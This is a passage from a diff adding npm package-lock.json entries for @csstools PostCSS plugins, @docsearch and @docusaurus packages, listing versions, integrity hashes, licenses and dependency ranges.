+ }, + "node_modules/@csstools/postcss-media-minmax": { + "version": "2.0.9", + "integrity": "sha512-af9Qw3uS3JhYLnCbqtZ9crTvvkR+0Se+bBqSr7ykAnl9yKhk6895z9rf+2F4dClIDJWxgn0iZZ1PSdkhrbs2ig==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT", + "dependencies": { + "@csstools/css-calc": "^2.1.4", + "@csstools/css-parser-algorithms": "^3.0.5", + "@csstools/css-tokenizer": "^3.0.4", + "@csstools/media-query-list-parser": "^4.0.3" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-media-queries-aspect-ratio-number-values": { + "version": "3.0.5", + "integrity": "sha512-zhAe31xaaXOY2Px8IYfoVTB3wglbJUVigGphFLj6exb7cjZRH9A6adyE22XfFK3P2PzwRk0VDeTJmaxpluyrDg==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/css-parser-algorithms": "^3.0.5", + "@csstools/css-tokenizer": "^3.0.4", + "@csstools/media-query-list-parser": "^4.0.3" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-nested-calc": { + "version": "4.0.0", + "integrity": "sha512-jMYDdqrQQxE7k9+KjstC3NbsmC063n1FTPLCgCRS2/qHUbHM0mNy9pIn4QIiQGs9I/Bg98vMqw7mJXBxa0N88A==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/utilities": "^2.0.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-normalize-display-values": { + "version": "4.0.1", + "integrity": "sha512-TQUGBuRvxdc7TgNSTevYqrL8oItxiwPDixk20qCB5me/W8uF7BPbhRrAvFuhEoywQp/woRsUZ6SJ+sU5idZAIA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-oklab-function": { + "version": "4.0.12", + "integrity": "sha512-HhlSmnE1NKBhXsTnNGjxvhryKtO7tJd1w42DKOGFD6jSHtYOrsJTQDKPMwvOfrzUAk8t7GcpIfRyM7ssqHpFjg==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/css-color-parser": "^3.1.0", + "@csstools/css-parser-algorithms": "^3.0.5", + "@csstools/css-tokenizer": "^3.0.4", + "@csstools/postcss-progressive-custom-properties": "^4.2.1", + "@csstools/utilities": "^2.0.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-position-area-property": { + "version": "1.0.0", + "integrity": "sha512-fUP6KR8qV2NuUZV3Cw8itx0Ep90aRjAZxAEzC3vrl6yjFv+pFsQbR18UuQctEKmA72K9O27CoYiKEgXxkqjg8Q==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-progressive-custom-properties": { + "version": "4.2.1", + "integrity": "sha512-uPiiXf7IEKtUQXsxu6uWtOlRMXd2QWWy5fhxHDnPdXKCQckPP3E34ZgDoZ62r2iT+UOgWsSbM4NvHE5m3mAEdw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-property-rule-prelude-list": { + "version": "1.0.0", + "integrity": "sha512-IxuQjUXq19fobgmSSvUDO7fVwijDJaZMvWQugxfEUxmjBeDCVaDuMpsZ31MsTm5xbnhA+ElDi0+rQ7sQQGisFA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/css-parser-algorithms": "^3.0.5", + "@csstools/css-tokenizer": "^3.0.4" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-random-function": { + "version": "2.0.1", + "integrity": "sha512-q+FQaNiRBhnoSNo+GzqGOIBKoHQ43lYz0ICrV+UudfWnEF6ksS6DsBIJSISKQT2Bvu3g4k6r7t0zYrk5pDlo8w==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/css-calc": "^2.1.4", + "@csstools/css-parser-algorithms": "^3.0.5", + "@csstools/css-tokenizer": "^3.0.4" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-relative-color-syntax": { + "version": "3.0.12", + "integrity": "sha512-0RLIeONxu/mtxRtf3o41Lq2ghLimw0w9ByLWnnEVuy89exmEEq8bynveBxNW3nyHqLAFEeNtVEmC1QK9MZ8Huw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/css-color-parser": "^3.1.0", + "@csstools/css-parser-algorithms": "^3.0.5", + "@csstools/css-tokenizer": "^3.0.4", + "@csstools/postcss-progressive-custom-properties": "^4.2.1", + "@csstools/utilities": "^2.0.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-scope-pseudo-class": { + "version": "4.0.1", + "integrity": "sha512-IMi9FwtH6LMNuLea1bjVMQAsUhFxJnyLSgOp/cpv5hrzWmrUYU5fm0EguNDIIOHUqzXode8F/1qkC/tEo/qN8Q==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "postcss-selector-parser": "^7.0.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-scope-pseudo-class/node_modules/postcss-selector-parser": { + "version": "7.1.4", + "integrity": "sha512-HeP7D2wyhkR+XaK6v4W8oRF62Dsz4flyuczALJp61GckGm42u1saSSJ/0auvcBqxs3jMRFEcPK34At/0JBKdOg==", + "license": "MIT", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@csstools/postcss-sign-functions": { + "version": "1.1.4", + "integrity": "sha512-P97h1XqRPcfcJndFdG95Gv/6ZzxUBBISem0IDqPZ7WMvc/wlO+yU0c5D/OCpZ5TJoTt63Ok3knGk64N+o6L2Pg==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/css-calc": "^2.1.4", + "@csstools/css-parser-algorithms": "^3.0.5", + "@csstools/css-tokenizer": "^3.0.4" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-stepped-value-functions": { + "version": "4.0.9", + "integrity": "sha512-h9btycWrsex4dNLeQfyU3y3w40LMQooJWFMm/SK9lrKguHDcFl4VMkncKKoXi2z5rM9YGWbUQABI8BT2UydIcA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/css-calc": "^2.1.4", + "@csstools/css-parser-algorithms": "^3.0.5", + "@csstools/css-tokenizer": "^3.0.4" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-syntax-descriptor-syntax-production": { + "version": "1.0.1", + "integrity": "sha512-GneqQWefjM//f4hJ/Kbox0C6f2T7+pi4/fqTqOFGTL3EjnvOReTqO1qUQ30CaUjkwjYq9qZ41hzarrAxCc4gow==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/css-tokenizer": "^3.0.4" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-system-ui-font-family": { + "version": "1.0.0", + "integrity": "sha512-s3xdBvfWYfoPSBsikDXbuorcMG1nN1M6GdU0qBsGfcmNR0A/qhloQZpTxjA3Xsyrk1VJvwb2pOfiOT3at/DuIQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/css-parser-algorithms": "^3.0.5", + "@csstools/css-tokenizer": "^3.0.4" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-text-decoration-shorthand": { + "version": "4.0.3", + "integrity": "sha512-KSkGgZfx0kQjRIYnpsD7X2Om9BUXX/Kii77VBifQW9Ih929hK0KNjVngHDH0bFB9GmfWcR9vJYJJRvw/NQjkrA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/color-helpers": "^5.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-trigonometric-functions": { + "version": "4.0.9", + "integrity": "sha512-Hnh5zJUdpNrJqK9v1/E3BbrQhaDTj5YiX7P61TOvUhoDHnUmsNNxcDAgkQ32RrcWx9GVUvfUNPcUkn8R3vIX6A==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/css-calc": "^2.1.4", + "@csstools/css-parser-algorithms": "^3.0.5", + "@csstools/css-tokenizer": "^3.0.4" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-unset-value": { + "version": "4.0.0", + "integrity": "sha512-cBz3tOCI5Fw6NIFEwU3RiwK6mn3nKegjpJuzCndoGq3BZPkUjnsq7uQmIeMNeMbMk7YD2MfKcgCpZwX5jyXqCA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/utilities": { + "version": "2.0.0", + "integrity": "sha512-5VdOr0Z71u+Yp3ozOx8T11N703wIFGVRgOWbOZMKgglPJsWA54MRIoMNVMa7shUToIhx5J8vX4sOZgD2XiihiQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@discoveryjs/json-ext": { + "version": "0.5.7", + "integrity": "sha512-dBVuXR082gk3jsFp7Rd/JI4kytwGHecnCoTtXFb7DB6CNHp4rg5k1bhg0nWdLGLnOV71lmDzGQaLMy8iPLY0pw==", + "license": "MIT", + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/@docsearch/core": { + "version": "4.6.3", + "integrity": "sha512-rUOujwIpxJRgD7+kicVsI3D5sqBvdiRTquzWBpTEXZs8ZXfGbfzpus5HqumaNYTppN2HvH8E2yNuRwYdHJeOlA==", + "license": "MIT", + "peerDependencies": { + "@types/react": ">= 16.8.0 < 20.0.0", + "react": ">= 16.8.0 < 20.0.0", + "react-dom": ">= 16.8.0 < 20.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "react": { + "optional": true + }, + "react-dom": { + "optional": true + } + } + }, + "node_modules/@docsearch/css": { + "version": "4.6.3", + "integrity": "sha512-nlOwcXcsNAptQl4vlL4MA78qNJKO0Qlds5GuBjCoePgkebTXLSf8Qt1oyZ3YBshYupKXG9VRGEsk1zr23d+bzQ==", + "license": "MIT" + }, + "node_modules/@docsearch/react": { + "version": "4.6.3", + "integrity": "sha512-Bg2wdDsoQVlNCcEKuEJAU04tvHCqgx8rIu+uIoM4pRtcx3TBKJuXutJik3LTA8LRc9YEyHkrYUrmcC0D7BYf+g==", + "license": "MIT", + "dependencies": { + "@algolia/autocomplete-core": "1.19.2", + "@docsearch/core": "4.6.3", + "@docsearch/css": "4.6.3" + }, + "peerDependencies": { + "@types/react": ">= 16.8.0 < 20.0.0", + "react": ">= 16.8.0 < 20.0.0", + "react-dom": ">= 16.8.0 < 20.0.0", + "search-insights": ">= 1 < 3" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "react": { + "optional": true + }, + "react-dom": { + "optional": true + }, + "search-insights": { + "optional": true + } + } + }, + "node_modules/@docsearch/react/node_modules/@algolia/autocomplete-core": { + "version": "1.19.2", + "integrity": "sha512-mKv7RyuAzXvwmq+0XRK8HqZXt9iZ5Kkm2huLjgn5JoCPtDy+oh9yxUMfDDaVCw0oyzZ1isdJBc7l9nuCyyR7Nw==", + "license": "MIT", + "dependencies": { + "@algolia/autocomplete-plugin-algolia-insights": "1.19.2", + "@algolia/autocomplete-shared": "1.19.2" + } + }, + "node_modules/@docsearch/react/node_modules/@algolia/autocomplete-plugin-algolia-insights": { + "version": "1.19.2", + "integrity": "sha512-TjxbcC/r4vwmnZaPwrHtkXNeqvlpdyR+oR9Wi2XyfORkiGkLTVhX2j+O9SaCCINbKoDfc+c2PB8NjfOnz7+oKg==", + "license": "MIT", + "dependencies": { + "@algolia/autocomplete-shared": "1.19.2" + }, + "peerDependencies": { + "search-insights": ">= 1 < 3" + } + }, + "node_modules/@docsearch/react/node_modules/@algolia/autocomplete-shared": { + "version": "1.19.2", + "integrity": "sha512-jEazxZTVD2nLrC+wYlVHQgpBoBB5KPStrJxLzsIFl6Kqd1AlG9sIAGl39V5tECLpIQzB3Qa2T6ZPJ1ChkwMK/w==", + "license": "MIT", + "peerDependencies": { + "@algolia/client-search": ">= 4.9.1 < 6", + "algoliasearch": ">= 4.9.1 < 6" + } + }, + "node_modules/@docusaurus/babel": { + "version": "3.10.2", + "integrity": "sha512-aJ1hpGyvfkte3dDAfNbWM4biW4yWZBVz7TIGLZP+v+tWOBgxX3e0N5ZIXHIvmfNNXTI77pcHUx3KmtOk05Ze3Q==", + "license": "MIT", + "dependencies": { + "@babel/core": "^7.25.9", + "@babel/generator": "^7.25.9", + "@babel/plugin-syntax-dynamic-import": "^7.8.3", + "@babel/plugin-transform-runtime": "^7.25.9", + "@babel/preset-env": "^7.25.9", + "@babel/preset-react": "^7.25.9", + "@babel/preset-typescript": "^7.25.9", + "@babel/runtime": "^7.25.9", + "@babel/traverse": "^7.25.9", + "@docusaurus/logger": "3.10.2", + "@docusaurus/utils": "3.10.2", + "babel-plugin-dynamic-import-node": "^2.3.3", + "fs-extra": "^11.1.1", + "tslib": "^2.6.0" + }, + "engines": { + "node": ">=20.0" + } + }, + "node_modules/@docusaurus/bundler": { + "version": "3.10.2", + "integrity": "sha512-i0ZNcy0f0WhaOlYVgzLsWhIoEXO9kS3HRoKPtgE6vQtZUq7arKZaYdNBudr3mqCmd+TyOkwtwfHgs1ENj07r5g==", + "license": "MIT", + "dependencies": { + "@babel/core": "^7.25.9", + "@docusaurus/babel": "3.10.2", + "@docusaurus/cssnano-preset": "3.10.2", + "@docusaurus/logger": "3.10.2", + "@docusaurus/types": "3.10.2", + "@docusaurus/utils": "3.10.2", + "babel-loader": "^9.2.1", + "clean-css": "^5.3.3", + "copy-webpack-plugin": "^11.0.0", + "css-loader": "^6.11.0", + "css-minimizer-webpack-plugin": "^5.0.1", + "cssnano": "^6.1.2", + "file-loader": "^6.2.0", + "html-minifier-terser": "^7.2.0", + "mini-css-extract-plugin": "^2.9.2", + "null-loader": "^4.0.1", + "postcss": "^8.5.4", + "postcss-loader": "^7.3.4", + "postcss-preset-env": "^10.2.1", + "terser-webpack-plugin": "^5.3.9", + "tslib": "^2.6.0", + "url-loader": "^4.1.1", + "webpack": "^5.95.0", + "webpackbar": "^7.0.0" + }, + "engines": { + "node": ">=20.0" + }, + "peerDependencies": { + "@docusaurus/faster": "*" + }, + "peerDependenciesMeta": { + "@docusaurus/faster": { + "optional": true + } + } + }, + "node_modules/@docusaurus/core": { + "version": "3.10.2", + "integrity": "sha512-EYByj6nk+aD9KeVxV6Hmo2/nAAT79P21Y82ycTBOBtrmqilloIbIEhgL2/8Xpt2Jz/pgNqHAwyusOGwmbKeJmA==", + "license": "MIT", + "dependencies": { + "@docusaurus/babel": "3.10.2", + "@docusaurus/bundler": "3.10.2", + "@docusaurus/logger": "3.10.2", + "@docusaurus/mdx-loader": "3.10.2", + "@docusaurus/utils": "3.10.2", + "@docusaurus/utils-common": "3.10.2", + "@docusaurus/utils-validation": "3.10.2", + "boxen": "^6.2.1", + "chalk": "^4.1.2", + "chokidar": "^3.5.3", + "cli-table3": "^0.6.3", + "combine-promises": "^1.1.0", + "commander": "^5.1.0", + "core-js": "^3.31.1", + "detect-port": "^2.1.0", + "escape-html": "^1.0.3", + "eta": "^2.2.0", + "eval": "^0.1.8", + "execa": "^5.1.1", + "fs-extra": "^11.1.1", + "html-tags": "^3.3.1", + "html-webpack-plugin": "^5.6.0", + "leven": "^3.1.0", + "lodash": "^4.17.21", + "open": "^8.4.0", + "p-map": "^4.0.0", + "prompts": "^2.4.2", + "react-helmet-async": "npm:@slorber/react-helmet-async@1.3.0", + "react-loadable": "npm:@docusaurus/react-loadable@6.0.0", + "react-loadable-ssr-addon-v5-slorber": "^1.0.3", + "react-router": "^5.3.4", + "react-router-config": "^5.1.1", + "react-router-dom": "^5.3.4", + "semver": "^7.5.4", + "serve-handler": "^6.1.7", + "tinypool": "^1.0.2", + "tslib": "^2.6.0", + "update-notifier": "^6.0.2", + "webpack": "^5.95.0", + "webpack-bundle-analyzer": "^4.10.2", + "webpack-dev-server": "^5.2.2", + "webpack-merge": "^6.0.1" + }, + "bin": { + "docusaurus": "bin/docusaurus.mjs" + }, + "engines": { + "node": ">=20.0" + }, + "peerDependencies": { + "@docusaurus/faster": "*", + "@mdx-js/react": "^3.0.0", + "react": "^18.0.0 || ^19.0.0", + "react-dom": "^18.0.0 || ^19.0.0" + }, + "peerDependenciesMeta": { + "@docusaurus/faster": { + "optional": true + } + } + }, + "node_modules/@docusaurus/cssnano-preset": { + "version": "3.10.2", + "integrity": "sha512-4gCnHRbJLTloiwfvFAa92tgb2gI4KYhvjfQVYnEaiMO/EgvWfCo1LwytHXen+1oZAN0VAlS0JAPxp3MsvKDa3A==", + "license": "MIT", + "dependencies": { + "cssnano-preset-advanced": "^6.1.2", + "postcss": "^8.5.4", + "postcss-sort-media-queries": "^5.2.0", + "tslib": "^2.6.0" + }, + "engines": { + "node": ">=20.0" + } + }, + "node_modules/@docusaurus/logger": { + "version": "3.10.2", + "integrity": "sha512-gSEwqtPfCAnC3ZSJY6xL7tcIfgg0vFD39jbv93eakuweyvO2864xR0K+kmKwBhkTCtWRNjuGGnb5rdmkD/ndqw==", + "license": "MIT", + "dependencies": { + "chalk": "^4.1.2", + "tslib": "^2.6.0" + }, + "engines": { + "node": ">=20.0" + } + }, + "node_modules/@docusaurus/mdx-loader": { + "version": "3.10.2", + "integrity": "sha512-9Fd4V/SFjfrVQ0JH5EN0+iPWyFunvTeQE3gfyFeetqPaXMP0OylIjOw16dCuXG4NZJrYdBqwzjh18/h3gRi47w==", + "license": "MIT", + "dependencies": { + "@docusaurus/logger": "3.10.2", + "@docusaurus/utils": "3.10.2", + "@docusaurus/utils-validation": "3.10.2", + "@mdx-js/mdx": "^3.0.0", + "@slorber/remark-comment": "^1.0.0", + "escape-html": "^1.0.3", + "estree-util-value-to-estree": "^3.0.1", + "file-loader": "^6.2.0", + "fs-extra": "^11.1.1", + "image-size": "^2.0.2", + "mdast-util-mdx": "^3.0.0", + "mdast-util-to-string": "^4.0.0", + "rehype-raw": "^7.0.0", + "remark-directive": "^3.0.0", + "remark-emoji": "^4.0.0", + "remark-frontmatter": "^5.0.0", + "remark-gfm": "^4.0.0", + "stringify-object": "^3.3.0", + "tslib": "^2.6.0", + "unified": "^11.0.3", + "unist-util-visit": "^5.0.0", + "url-loader": "^4.1.1", + "vfile": "^6.0.1", + "webpack": "^5.88.1" + }, + "engines": { + "node": ">=20.0" + }, + "peerDependencies": { + "react": "^18.0.0 || ^19.0.0", + "react-dom": "^18.0.0 || ^19.0.0" + } + }, + "node_modules/@docusaurus/module-type-aliases": { + "version": "3.10.2", + "integrity": "sha512-h/I5e4jaAhDHW4vaLENi1i2hnOEnXY1t9R+nnRTbgUl7ymVRzN/HF7dDfj8rKYGj8gfIge+Ef+iYRAMtbGvsrQ==", + "license": "MIT", + "dependencies": { + "@docusaurus/types": "3.10.2", + "@types/history": "^4.7.11", + "@types/react": "*", + "@types/react-router-config": "*", + "@types/react-router-dom": "*", + "react-helmet-async": "npm:@slorber/react-helmet-async@1.3.0", + "react-loadable": "npm:@docusaurus/react-loadable@6.0.0" + }, + "peerDependencies": { + "react": "*", + "react-dom": "*" + } + }, + "node_modules/@docusaurus/plugin-client-redirects": { + "version": "3.10.2", + "integrity": "sha512-z5I5ttCXw+8y2gHVZvqAMmUw4Rb0ZzKA5eCPk87SfM/jCKOTvE24yDpPAwwipvug96ij7mOwEHXWw8G4LlWdGA==", + "license": "MIT", + "dependencies": { + "@docusaurus/core": "3.10.2", + "@docusaurus/logger": "3.10.2", + "@docusaurus/utils": "3.10.2", + "@docusaurus/utils-common": "3.10.2", + "@docusaurus/utils-validation": "3.10.2", + "eta": "^2.2.0", + "fs-extra": "^11.1.1", + "lodash": "^4.17.21", + "tslib": "^2.6.0" + }, + "engines": { + "node": ">=20.0" + }, + "peerDependencies": { + "react": "^18.0.0 || ^19.0.0", + "react-dom": "^18.0.0 || ^19.0.0" + } + }, + "node_modules/@docusaurus/plugin-content-blog": { + "version": "3.10.2", + "integrity": "sha512-0cbEnNKf0InmLkhj/+nVRmqEnWEoOE8Mh+2x1qOXI0qYpCnphq4RXknVJ8BvybKRXqYVvbmdMfiJSup+k4tm5w==", + "license": "MIT", + "dependencies": { + "@docusaurus/core": "3.10.2", + "@docusaurus/logger": "3.10.2", + "@docusaurus/mdx-loader": "3.10.2", + "@docusaurus/theme-common": "3.10.2", + "@docusaurus/types": "3.10.2", + "@docusaurus/utils": "3.10.2", + "@docusaurus/utils-common": "3.10.2", + "@docusaurus/utils-validation": "3.10.2", + "cheerio": "1.0.0-rc.12", + "combine-promises": "^1.1.0", + "feed": "^4.2.2", + "fs-extra": "^11.1.1", + "lodash": "^4.17.21", + "schema-dts": "^1.1.2", + "srcset": "^4.0.0", + "tslib": "^2.6.0", + "unist-util-visit": "^5.0.0", + "utility-types": "^3.10.0", + "webpack": "^5.88.1" + }, + "engines": { + "node": ">=20.0" + }, + "peerDependencies": { + "@docusaurus/plugin-content-docs": "*", + "react": "^18.0.0 || ^19.0.0", + "react-dom": "^18.0.0 || ^19.0.0" + } + }, + "node_modules/@docusaurus/plugin-content-docs": { + "version": "3.10.2", + "integrity": "sha512-Sqwl4FPoZBDrlY8I2VU2H8O0M91CHp9T8ToMSkTZmjvHCif+1laqfXi6sTk8IfyVS/trN5yNjcWd1bFsGB6W5Q==", + "license": "MIT", + "dependencies": { + "@docusaurus/core": "3.10.2", + "@docusaurus/logger": "3.10.2", + "@docusaurus/mdx-loader": "3.10.2", + "@docusaurus/module-type-aliases": "3.10.2", + "@docusaurus/theme-common": "3.10.2", + "@docusaurus/types": "3.10.2", + "@docusaurus/utils": "3.10.2", + "@docusaurus/utils-common": "3.10.2", + "@docusaurus/utils-validation": "3.10.2", + "@types/react-router-config": "^5.0.7", + "combine-promises": "^1.1.0", + "fs-extra": "^11.1.1", + "js-yaml": "^4.1.0", + "lodash": "^4.17.21", + "schema-dts": "^1.1.2", + "tslib": "^2.6.0", + "utility-types": "^3.10.0", + "webpack": "^5.88.1" + }, + "engines": { + "node": ">=20.0" + }, + "peerDependencies": { + "react": "^18.0.0 || ^19.0.0", + "react-dom": "^18.0.0 || ^19.0.0" + } + }, + "node_modules/@docusaurus/plugin-content-pages": { + "version": "3.10.2", + "integrity": "sha512-h5R12sZ/vV9EPiVjvIl9YFCOwkpwXes7dQMYt3EvP6Pphu4amHxxTqWxf08Fl5DR8h+oZMbWpFTNw5vKEYfvzQ==", + "license": "MIT", + "dependencies": { + "@docusaurus/core": "3.10.2", + "@docusaurus/mdx-loader": "3.10.2", + "@docusaurus/types": "3.10.2", + "@docusaurus/utils": "3.10.2", + "@docusaurus/utils-validation": "3.10.2", + "fs-extra": "^11.1.1", + "tslib": "^2.6.0", + "webpack": "^5.88.1" + }, + "engines": { + "node": ">=20.0" + }, + "peerDependencies": { + "react": "^18.0.0 || ^19.0.0", + "react-dom": "^18.0.0 || ^19.0.0" + } + }, + "node_modules/@docusaurus/plugin-css-cascade-layers": { + "version": "3.10.2", + "integrity": "sha512-UkdvQby5OQUKWrw3lLnSTJXQ6VETaUVTuPQX9AABtmFm5h+ifEBx1OQ+LN726Q4byuwBf2ElHkf4qU4hTxdvRg==", + "license": "MIT", + "dependencies": { + "@docusaurus/core": "3.10.2", + "@docusaurus/types": "3.10.2", + "@docusaurus/utils": "3.10.2", + "@docusaurus/utils-validation": "3.10.2", + "tslib": "^2.6.0" + }, + "engines": { + "node": ">=20.0" + } + }, + "node_modules/@docusaurus/plugin-debug": { + "version": "3.10.2", + "integrity": "sha512-8vbZNOSCpnsT57EY6CgN7sgRVmx3KTYwO8Uvo2pbxOyb8tbqAwtT9SslqaQ41HbA1v1hpn5RP7u5s2KvRwAFpQ==", + "license": "MIT", + "dependencies": { + "@docusaurus/core": "3.10.2", + "@docusaurus/types": "3.10.2", + "@docusaurus/utils": "3.10.2", + "fs-extra": "^11.1.1", + "react-json-view-lite": "^2.3.0", + "tslib": "^2.6.0" + }, + "engines": { + "node": ">=20.0" + }, + "peerDependencies": { + "react": "^18.0.0 || ^19.0.0", + "react-dom": "^18.0.0 || ^19.0.0" + } + }, + "node_modules/@docusaurus/plugin-google-analytics": { + "version": "3.10.2", + "integrity": "sha512-kMHMBK9j4VAtgd5owwrRLRIi0EjkrpXlX7ePj1+y68XfVZV9I1T4S+koPDm+Hfw2TtnyHvh0uNrDvjz+DjQGVA==", + "license": "MIT", + "dependencies": { + "@docusaurus/core": "3.10.2", + "@docusaurus/types": "3.10.2", + "@docusaurus/utils-validation": "3.10.2", + "tslib": "^2.6.0" + }, + "engines": { + "node": ">=20.0" + }, + "peerDependencies": { + "react": "^18.0.0 || ^19.0.0", + "react-dom": "^18.0.0 || ^19.0.0" + } + }, + "node_modules/@docusaurus/plugin-google-gtag": { + "version": "3.10.2", + "integrity": "sha512-Vt90nNFhtAChRe9+it1hcHFgFvETdSnOkL5Bma+p6E/yU2tAYrvvyk+gv+LJGM2ZUkyKuKXLRsZ2Lb0bO7+Vog==", + "license": "MIT", + "dependencies": { + "@docusaurus/core": "3.10.2", + "@docusaurus/types": "3.10.2", + "@docusaurus/utils-validation": "3.10.2", + "tslib": "^2.6.0" + }, + "engines": { + "node": ">=20.0" + }, + "peerDependencies": { + "react": "^18.0.0 || ^19.0.0", + "react-dom": "^18.0.0 || ^19.0.0" + } + }, + "node_modules/@docusaurus/plugin-google-tag-manager": { + "version": "3.10.2", + "integrity": "sha512-MLCffCldysi/R0nzJQP7ZWd0xAoGNnSTiVOo6TTR6mKVGFhE+/XArGe67ZcaZv1uytgQXoXs92VJrgVDrz80rQ==", + "license": "MIT", + "dependencies": { + "@docusaurus/core": "3.10.2", + "@docusaurus/types": "3.10.2", + "@docusaurus/utils-validation": "3.10.2", + "tslib": "^2.6.0" + }, + "engines": { + "node": ">=20.0" + }, + "peerDependencies": { + "react": "^18.0.0 || ^19.0.0", + "react-dom": "^18.0.0 || ^19.0.0" + } + }, + "node_modules/@docusaurus/plugin-sitemap": { + "version": "3.10.2", + "integrity": 